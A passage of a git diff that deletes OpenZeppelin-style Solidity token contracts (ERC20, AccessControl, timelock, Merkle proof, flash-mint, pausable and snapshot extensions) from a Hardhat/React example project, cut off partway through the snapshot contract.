-    IERC20 immutable private _token;
-
-    // beneficiary of tokens after they are released
-    address immutable private _beneficiary;
-
-    // timestamp when token release is enabled
-    uint256 immutable private _releaseTime;
-
-    constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
-        // solhint-disable-next-line not-rely-on-time
-        require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
-        _token = token_;
-        _beneficiary = beneficiary_;
-        _releaseTime = releaseTime_;
-    }
-
-    /**
-     * @return the token being held.
-     */
-    function token() public view virtual returns (IERC20) {
-        return _token;
-    }
-
-    /**
-     * @return the beneficiary of the tokens.
-     */
-    function beneficiary() public view virtual returns (address) {
-        return _beneficiary;
-    }
-
-    /**
-     * @return the time when the tokens are released.
-     */
-    function releaseTime() public view virtual returns (uint256) {
-        return _releaseTime;
-    }
-
-    /**
-     * @notice Transfers tokens held by timelock to beneficiary.
-     */
-    function release() public virtual {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
-
-        uint256 amount = token().balanceOf(address(this));
-        require(amount > 0, "TokenTimelock: no tokens to release");
-
-        token().safeTransfer(beneficiary(), amount);
-    }
-}
-
-
-// File contracts/utils/cryptography/MerkleProof.sol
-
-
-
-
-
-/**
- * @dev These functions deal with verification of Merkle Trees proofs.
- *
- * The proofs can be generated using the JavaScript library
- * https://github.com/miguelmota/merkletreejs[merkletreejs].
- * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
- *
- * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
- */
-library MerkleProof {
-    /**
-     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
-     * defined by `root`. For this, a `proof` must be provided, containing
-     * sibling hashes on the branch from the leaf to the root of the tree. Each
-     * pair of leaves and each pair of pre-images are assumed to be sorted.
-     */
-    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
-        bytes32 computedHash = leaf;
-
-        for (uint256 i = 0; i < proof.length; i++) {
-            bytes32 proofElement = proof[i];
-
-            if (computedHash <= proofElement) {
-                // Hash(current computed hash + current element of the proof)
-                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
-            } else {
-                // Hash(current element of the proof + current computed hash)
-                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
-            }
-        }
-
-        // Check if the computed hash (root) is equal to the provided root
-        return computedHash == root;
-    }
-}
diff --git a/Example09-hardhat-react/contracts/ERC20.sol b/Example09-hardhat-react/contracts/ERC20.sol
deleted file mode 100644
index d59228f98..000000000
--- a/Example09-hardhat-react/contracts/ERC20.sol
+++ /dev/null
@@ -1,312 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./IERC20.sol";
-import "./extensions/IERC20Metadata.sol";
-import "./utils/Context.sol";
-
-/**
- * @dev Implementation of the {IERC20} interface.
- *
- * This implementation is agnostic to the way tokens are created. This means
- * that a supply mechanism has to be added in a derived contract using {_mint}.
- * For a generic mechanism see {ERC20PresetMinterPauser}.
- *
- * TIP: For a detailed writeup see our guide
- * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
- * to implement supply mechanisms].
- *
- * We have followed general OpenZeppelin guidelines: functions revert instead
- * of returning `false` on failure. This behavior is nonetheless conventional
- * and does not conflict with the expectations of ERC20 applications.
- *
- * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
- * This allows applications to reconstruct the allowance for all accounts just
- * by listening to said events. Other implementations of the EIP may not emit
- * these events, as it isn't required by the specification.
- *
- * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
- * functions have been added to mitigate the well-known issues around setting
- * allowances. See {IERC20-approve}.
- */
-contract ERC20 is Context, IERC20, IERC20Metadata {
-    mapping (address => uint256) private _balances;
-
-    mapping (address => mapping (address => uint256)) private _allowances;
-
-    uint256 private _totalSupply;
-
-    string private _name;
-    string private _symbol;
-
-    /**
-     * @dev Sets the values for {name} and {symbol}.
-     *
-     * The default value of {decimals} is 18. To select a different value for
-     * {decimals} you should overload it.
-     *
-     * All two of these values are immutable: they can only be set once during
-     * construction.
-     */
-    constructor (string memory name_, string memory symbol_) {
-        _name = name_;
-        _symbol = symbol_;
-    }
-
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() public view virtual override returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @dev Returns the symbol of the token, usually a shorter version of the
-     * name.
-     */
-    function symbol() public view virtual override returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @dev Returns the number of decimals used to get its user representation.
-     * For example, if `decimals` equals `2`, a balance of `505` tokens should
-     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
-     *
-     * Tokens usually opt for a value of 18, imitating the relationship between
-     * Ether and Wei. This is the value {ERC20} uses, unless this function is
-     * overridden;
-     *
-     * NOTE: This information is only used for _display_ purposes: it in
-     * no way affects any of the arithmetic of the contract, including
-     * {IERC20-balanceOf} and {IERC20-transfer}.
-     */
-    function decimals() public view virtual override returns (uint8) {
-        return 18;
-    }
-
-    /**
-     * @dev See {IERC20-totalSupply}.
-     */
-    function totalSupply() public view virtual override returns (uint256) {
-        return _totalSupply;
-    }
-
-    /**
-     * @dev See {IERC20-balanceOf}.
-     */
-    function balanceOf(address account) public view virtual override returns (uint256) {
-        return _balances[account];
-    }
-
-    /**
-     * @dev See {IERC20-transfer}.
-     *
-     * Requirements:
-     *
-     * - `recipient` cannot be the zero address.
-     * - the caller must have a balance of at least `amount`.
-     */
-    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(_msgSender(), recipient, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-allowance}.
-     */
-    function allowance(address owner, address spender) public view virtual override returns (uint256) {
-        return _allowances[owner][spender];
-    }
-
-    /**
-     * @dev See {IERC20-approve}.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function approve(address spender, uint256 amount) public virtual override returns (bool) {
-        _approve(_msgSender(), spender, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-transferFrom}.
-     *
-     * Emits an {Approval} event indicating the updated allowance. This is not
-     * required by the EIP. See the note at the beginning of {ERC20}.
-     *
-     * Requirements:
-     *
-     * - `sender` and `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     * - the caller must have allowance for ``sender``'s tokens of at least
-     * `amount`.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(sender, recipient, amount);
-
-        uint256 currentAllowance = _allowances[sender][_msgSender()];
-        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
-        unchecked {
-            _approve(sender, _msgSender(), currentAllowance - amount);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Atomically increases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
-        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
-        return true;
-    }
-
-    /**
-     * @dev Atomically decreases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `spender` must have allowance for the caller of at least
-     * `subtractedValue`.
-     */
-    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
-        uint256 currentAllowance = _allowances[_msgSender()][spender];
-        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
-        unchecked {
-            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Moves tokens `amount` from `sender` to `recipient`.
-     *
-     * This is internal function is equivalent to {transfer}, and can be used to
-     * e.g. implement automatic token fees, slashing mechanisms, etc.
-     *
-     * Emits a {Transfer} event.
-     *
-     * Requirements:
-     *
-     * - `sender` cannot be the zero address.
-     * - `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     */
-    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
-        require(sender != address(0), "ERC20: transfer from the zero address");
-        require(recipient != address(0), "ERC20: transfer to the zero address");
-
-        _beforeTokenTransfer(sender, recipient, amount);
-
-        uint256 senderBalance = _balances[sender];
-        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
-        unchecked {
-            _balances[sender] = senderBalance - amount;
-        }
-        _balances[recipient] += amount;
-
-        emit Transfer(sender, recipient, amount);
-    }
-
-    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
-     * the total supply.
-     *
-     * Emits a {Transfer} event with `from` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     */
-    function _mint(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: mint to the zero address");
-
-        _beforeTokenTransfer(address(0), account, amount);
-
-        _totalSupply += amount;
-        _balances[account] += amount;
-        emit Transfer(address(0), account, amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, reducing the
-     * total supply.
-     *
-     * Emits a {Transfer} event with `to` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     * - `account` must have at least `amount` tokens.
-     */
-    function _burn(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: burn from the zero address");
-
-        _beforeTokenTransfer(account, address(0), amount);
-
-        uint256 accountBalance = _balances[account];
-        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
-        unchecked {
-            _balances[account] = accountBalance - amount;
-        }
-        _totalSupply -= amount;
-
-        emit Transfer(account, address(0), amount);
-    }
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
-     *
-     * This internal function is equivalent to `approve`, and can be used to
-     * e.g. set automatic allowances for certain subsystems, etc.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `owner` cannot be the zero address.
-     * - `spender` cannot be the zero address.
-     */
-    function _approve(address owner, address spender, uint256 amount) internal virtual {
-        require(owner != address(0), "ERC20: approve from the zero address");
-        require(spender != address(0), "ERC20: approve to the zero address");
-
-        _allowances[owner][spender] = amount;
-        emit Approval(owner, spender, amount);
-    }
-
-    /**
-     * @dev Hook that is called before any transfer of tokens. This includes
-     * minting and burning.
-     *
-     * Calling conditions:
-     *
-     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
-     * will be to transferred to `to`.
-     * - when `from` is zero, `amount` tokens will be minted for `to`.
-     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
-     * - `from` and `to` are never both zero.
-     *
-     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
-}
diff --git a/Example09-hardhat-react/contracts/SimpleToken.sol b/Example09-hardhat-react/contracts/SimpleToken.sol
deleted file mode 100644
index 7d53b2e84..000000000
--- a/Example09-hardhat-react/contracts/SimpleToken.sol
+++ /dev/null
@@ -1,32 +0,0 @@
-//  2019/10/15  //0xd2b7915d17e90771afd042ad403999167bf9abf8
-
-// 用0。5。6编译器
-pragma solidity ^0.8.0;
-
-import "./presets/ERC20PresetMinterPauser.sol";
-
-
-contract SimpleToken is ERC20PresetMinterPauser {
-
-
-    /**
-     * @dev Constructor that gives msg.sender all of existing tokens.
-     */
-
-    uint8 private _decimals;
-    uint256 public  INITIAL_SUPPLY = 10000 * (10 ** uint256(18));
-
-
-    function decimals() public view  override returns (uint8) {
-        return _decimals;
-    }
-
-    constructor(string memory name, string memory symbol, uint8  decimals, uint256  initial_supply) public  ERC20PresetMinterPauser(name, symbol){
-        
-    
-        _decimals = decimals;
-        INITIAL_SUPPLY = initial_supply * (10 ** uint256(decimals)) ;
-        _mint(msg.sender, INITIAL_SUPPLY);
-    }
-
-}
diff --git a/Example09-hardhat-react/contracts/extensions/AccessControl.sol b/Example09-hardhat-react/contracts/extensions/AccessControl.sol
deleted file mode 100644
index 7c407d867..000000000
--- a/Example09-hardhat-react/contracts/extensions/AccessControl.sol
+++ /dev/null
@@ -1,243 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "../utils/Context.sol";
-import "../utils/Strings.sol";
-import "./ERC165.sol";
-
-/**
- * @dev External interface of AccessControl declared to support ERC165 detection.
- */
-interface IAccessControl {
-    function hasRole(bytes32 role, address account) external view returns (bool);
-    function getRoleAdmin(bytes32 role) external view returns (bytes32);
-    function grantRole(bytes32 role, address account) external;
-    function revokeRole(bytes32 role, address account) external;
-    function renounceRole(bytes32 role, address account) external;
-}
-
-/**
- * @dev Contract module that allows children to implement role-based access
- * control mechanisms. This is a lightweight version that doesn't allow enumerating role
- * members except through off-chain means by accessing the contract event logs. Some
- * applications may benefit from on-chain enumerability, for those cases see
- * {AccessControlEnumerable}.
- *
- * Roles are referred to by their `bytes32` identifier. These should be exposed
- * in the external API and be unique. The best way to achieve this is by
- * using `public constant` hash digests:
- *
- * ```
- * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
- * ```
- *
- * Roles can be used to represent a set of permissions. To restrict access to a
- * function call, use {hasRole}:
- *
- * ```
- * function foo() public {
- *     require(hasRole(MY_ROLE, msg.sender));
- *     ...
- * }
- * ```
- *
- * Roles can be granted and revoked dynamically via the {grantRole} and
- * {revokeRole} functions. Each role has an associated admin role, and only
- * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
- *
- * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
- * that only accounts with this role will be able to grant or revoke other
- * roles. More complex role relationships can be created by using
- * {_setRoleAdmin}.
- *
- * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
- * grant and revoke this role. Extra precautions should be taken to secure
- * accounts that have been granted it.
- */
-abstract contract AccessControl is Context, IAccessControl, ERC165 {
-    struct RoleData {
-        mapping (address => bool) members;
-        bytes32 adminRole;
-    }
-
-    mapping (bytes32 => RoleData) private _roles;
-
-    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
-
-    /**
-     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
-     *
-     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
-     * {RoleAdminChanged} not being emitted signaling this.
-     *
-     * _Available since v3.1._
-     */
-    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
-
-    /**
-     * @dev Emitted when `account` is granted `role`.
-     *
-     * `sender` is the account that originated the contract call, an admin role
-     * bearer except when using {_setupRole}.
-     */
-    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Emitted when `account` is revoked `role`.
-     *
-     * `sender` is the account that originated the contract call:
-     *   - if using `revokeRole`, it is the admin role bearer
-     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
-     */
-    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Modifier that checks that an account has a specific role. Reverts
-     * with a standardized message including the required role.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     *
-     * _Available since v4.1._
-     */
-    modifier onlyRole(bytes32 role) {
-        _checkRole(role, _msgSender());
-        _;
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControl).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns `true` if `account` has been granted `role`.
-     */
-    function hasRole(bytes32 role, address account) public view override returns (bool) {
-        return _roles[role].members[account];
-    }
-
-    /**
-     * @dev Revert with a standard message if `account` is missing `role`.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     */
-    function _checkRole(bytes32 role, address account) internal view {
-        if(!hasRole(role, account)) {
-            revert(string(abi.encodePacked(
-                "AccessControl: account ",
-                Strings.toHexString(uint160(account), 20),
-                " is missing role ",
-                Strings.toHexString(uint256(role), 32)
-            )));
-        }
-    }
-
-    /**
-     * @dev Returns the admin role that controls `role`. See {grantRole} and
-     * {revokeRole}.
-     *
-     * To change a role's admin, use {_setRoleAdmin}.
-     */
-    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
-        return _roles[role].adminRole;
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from `account`.
-     *
-     * If `account` had been granted `role`, emits a {RoleRevoked} event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from the calling account.
-     *
-     * Roles are often managed via {grantRole} and {revokeRole}: this function's
-     * purpose is to provide a mechanism for accounts to lose their privileges
-     * if they are compromised (such as when a trusted device is misplaced).
-     *
-     * If the calling account had been granted `role`, emits a {RoleRevoked}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must be `account`.
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
-
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event. Note that unlike {grantRole}, this function doesn't perform any
-     * checks on the calling account.
-     *
-     * [WARNING]
-     * ====
-     * This function should only be called from the constructor when setting
-     * up the initial roles for the system.
-     *
-     * Using this function in any other way is effectively circumventing the admin
-     * system imposed by {AccessControl}.
-     * ====
-     */
-    function _setupRole(bytes32 role, address account) internal virtual {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Sets `adminRole` as ``role``'s admin role.
-     *
-     * Emits a {RoleAdminChanged} event.
-     */
-    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
-        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
-        _roles[role].adminRole = adminRole;
-    }
-
-    function _grantRole(bytes32 role, address account) private {
-        if (!hasRole(role, account)) {
-            _roles[role].members[account] = true;
-            emit RoleGranted(role, account, _msgSender());
-        }
-    }
-
-    function _revokeRole(bytes32 role, address account) private {
-        if (hasRole(role, account)) {
-            _roles[role].members[account] = false;
-            emit RoleRevoked(role, account, _msgSender());
-        }
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/ERC20Burnable.sol b/Example09-hardhat-react/contracts/extensions/ERC20Burnable.sol
deleted file mode 100644
index c8ea4e8e3..000000000
--- a/Example09-hardhat-react/contracts/extensions/ERC20Burnable.sol
+++ /dev/null
@@ -1,42 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "../ERC20.sol";
-import "../utils/Context.sol";
-
-/**
- * @dev Extension of {ERC20} that allows token holders to destroy both their own
- * tokens and those that they have an allowance for, in a way that can be
- * recognized off-chain (via event analysis).
- */
-abstract contract ERC20Burnable is Context, ERC20 {
-    /**
-     * @dev Destroys `amount` tokens from the caller.
-     *
-     * See {ERC20-_burn}.
-     */
-    function burn(uint256 amount) public virtual {
-        _burn(_msgSender(), amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
-     * allowance.
-     *
-     * See {ERC20-_burn} and {ERC20-allowance}.
-     *
-     * Requirements:
-     *
-     * - the caller must have allowance for ``accounts``'s tokens of at least
-     * `amount`.
-     */
-    function burnFrom(address account, uint256 amount) public virtual {
-        uint256 currentAllowance = allowance(account, _msgSender());
-        require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
-        unchecked {
-            _approve(account, _msgSender(), currentAllowance - amount);
-        }
-        _burn(account, amount);
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/ERC20Capped.sol b/Example09-hardhat-react/contracts/extensions/ERC20Capped.sol
deleted file mode 100644
index 296f16afe..000000000
--- a/Example09-hardhat-react/contracts/extensions/ERC20Capped.sol
+++ /dev/null
@@ -1,36 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "../ERC20.sol";
-
-/**
- * @dev Extension of {ERC20} that adds a cap to the supply of tokens.
- */
-abstract contract ERC20Capped is ERC20 {
-    uint256 immutable private _cap;
-
-    /**
-     * @dev Sets the value of the `cap`. This value is immutable, it can only be
-     * set once during construction.
-     */
-    constructor (uint256 cap_) {
-        require(cap_ > 0, "ERC20Capped: cap is 0");
-        _cap = cap_;
-    }
-
-    /**
-     * @dev Returns the cap on the token's total supply.
-     */
-    function cap() public view virtual returns (uint256) {
-        return _cap;
-    }
-
-    /**
-     * @dev See {ERC20-_mint}.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
-        super._mint(account, amount);
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/ERC20FlashMint.sol b/Example09-hardhat-react/contracts/extensions/ERC20FlashMint.sol
deleted file mode 100644
index 9f7a4c115..000000000
--- a/Example09-hardhat-react/contracts/extensions/ERC20FlashMint.sol
+++ /dev/null
@@ -1,75 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./IERC3156.sol";
-import "../ERC20.sol";
-
-/**
- * @dev Implementation of the ERC3156 Flash loans extension, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * Adds the {flashLoan} method, which provides flash loan support at the token
- * level. By default there is no fee, but this can be changed by overriding {flashFee}.
- *
- * _Available since v4.1._
- */
-abstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {
-    bytes32 constant private RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
-
-    /**
-     * @dev Returns the maximum amount of tokens available for loan.
-     * @param token The address of the token that is requested.
-     * @return The amont of token that can be loaned.
-     */
-    function maxFlashLoan(address token) public view override returns (uint256) {
-        return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
-    }
-
-    /**
-     * @dev Returns the fee applied when doing flash loans. By default this
-     * implementation has 0 fees. This function can be overloaded to make
-     * the flash loan mechanism deflationary.
-     * @param token The token to be flash loaned.
-     * @param amount The amount of tokens to be loaned.
-     * @return The fees applied to the corresponding flash loan.
-     */
-    function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
-        require(token == address(this), "ERC20FlashMint: wrong token");
-        // silence warning about unused variable without the addition of bytecode.
-        amount;
-        return 0;
-    }
-
-    /**
-     * @dev Performs a flash loan. New tokens are minted and sent to the
-     * `receiver`, who is required to implement the {IERC3156FlashBorrower}
-     * interface. By the end of the flash loan, the receiver is expected to own
-     * amount + fee tokens and have them approved back to the token contract itself so
-     * they can be burned.
-     * @param receiver The receiver of the flash loan. Should implement the
-     * {IERC3156FlashBorrower.onFlashLoan} interface.
-     * @param token The token to be flash loaned. Only `address(this)` is
-     * supported.
-     * @param amount The amount of tokens to be loaned.
-     * @param data An arbitrary datafield that is passed to the receiver.
-     * @return `true` is the flash loan was successfull.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    )
-        public virtual override returns (bool)
-    {
-        uint256 fee = flashFee(token, amount);
-        _mint(address(receiver), amount);
-        require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == RETURN_VALUE, "ERC20FlashMint: invalid return value");
-        uint256 currentAllowance = allowance(address(receiver), address(this));
-        require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
-        _approve(address(receiver), address(this), currentAllowance - amount - fee);
-        _burn(address(receiver), amount + fee);
-        return true;
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/ERC20Pausable.sol b/Example09-hardhat-react/contracts/extensions/ERC20Pausable.sol
deleted file mode 100644
index 8f396442f..000000000
--- a/Example09-hardhat-react/contracts/extensions/ERC20Pausable.sol
+++ /dev/null
@@ -1,28 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "../ERC20.sol";
-import "./Pausable.sol";
-
-/**
- * @dev ERC20 token with pausable token transfers, minting and burning.
- *
- * Useful for scenarios such as preventing trades until the end of an evaluation
- * period, or having an emergency switch for freezing all token transfers in the
- * event of a large bug.
- */
-abstract contract ERC20Pausable is ERC20, Pausable {
-    /**
-     * @dev See {ERC20-_beforeTokenTransfer}.
-     *
-     * Requirements:
-     *
-     * - the contract must not be paused.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        super._beforeTokenTransfer(from, to, amount);
-
-        require(!paused(), "ERC20Pausable: token transfer while paused");
-    }
-}
diff --git a/Example09-hardhat-react/contracts/extensions/ERC20Snapshot.sol b/Example09-hardhat-react/contracts/extensions/ERC20Snapshot.sol
deleted file mode 100644
index 8e1ea8fc1..000000000
--- a/Example09-hardhat-react/contracts/extensions/ERC20Snapshot.sol
+++ /dev/null
@@ -1,192 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "../ERC20.sol";
-import "../utils/Arrays.sol";
-import "../utils/Counters.sol";
-
-/**
- * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
- * total supply at the time are recorded for later access.
- *
- * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
- * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
- * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
- * used to create an efficient ERC20 forking mechanism.
- *
- * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
- * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
- * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
- * and the account address.
- *
- * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
- * return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
- * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
- *
- * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
- * alternative consider {ERC20Votes}.
- *
- * ==== Gas Costs
- *
- * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
- * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
- * smaller since identical balances in subsequent snapshots are stored as a single entry.
- *
- * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
- * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
- * transfers will have normal cost until the next snapshot, and so on.
- */
-
-abstract contract ERC20Snapshot is ERC20 {
-    // Inspired by Jordi Baylina's MiniMeToken to record historical balances:
-    // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
-
-    using Arrays for uint256[];
-    using Counters for Counters.Counter;
-
-    // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
-    // Snapshot struct, but that would impede usage of functions that work on an array.
-    struct Snapshots {
-        uint256[] ids;
-        uint256[] values;
-    }
-
-    mapping (address => Snapshots) private _accountBalanceSnapshots;
-    Snapshots private _totalSupplySnapshots;
-
-    // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
-    Counters.Counter private _currentSnapshotId;
-
-    /**
-     * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
-     */
-    event Snapshot(uint256 id);
-
-    /**
-     * @dev Creates a new snapshot and returns its snapshot id.
-     *
-     * Emits a {Snapshot} event that contains the same id.
-     *
-     * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
-     * set of accounts, for example using {AccessControl}, or it may be open to the public.
-     *
-     * [WARNING]
-     * ====
-     * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
-     * you must consider that it can potentially be used by attackers in two ways.
-     *
-     * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
-     * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
-     * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
-     * section above.
-     *
-     * We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
-     * ====
-     */
-    function _snapshot() internal virtual returns (uint256) {
-        _currentSnapshotId.increment();
-
-        uint256 currentId = _getCurrentSnapshotId();
-        emit Snapshot(currentId);
-        return currentId;
-    }
-
-    /**
-     * @dev Get the current snapshotId
-     */
-    function _getCurrentSnapshotId() internal view virtual returns (uint256) {
-        return _currentSnapshotId.current();
-    }
-
-    /**
-     * @dev Retrieves the balance of `account` at the time `snapshotId` was created.
-     */
-    function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
-
-        return snapshotted ? value : balanceOf(account);
-    }
-
-    /**
-     * @dev Retrieves the total supply at the time `snapshotId` was created.
-     */
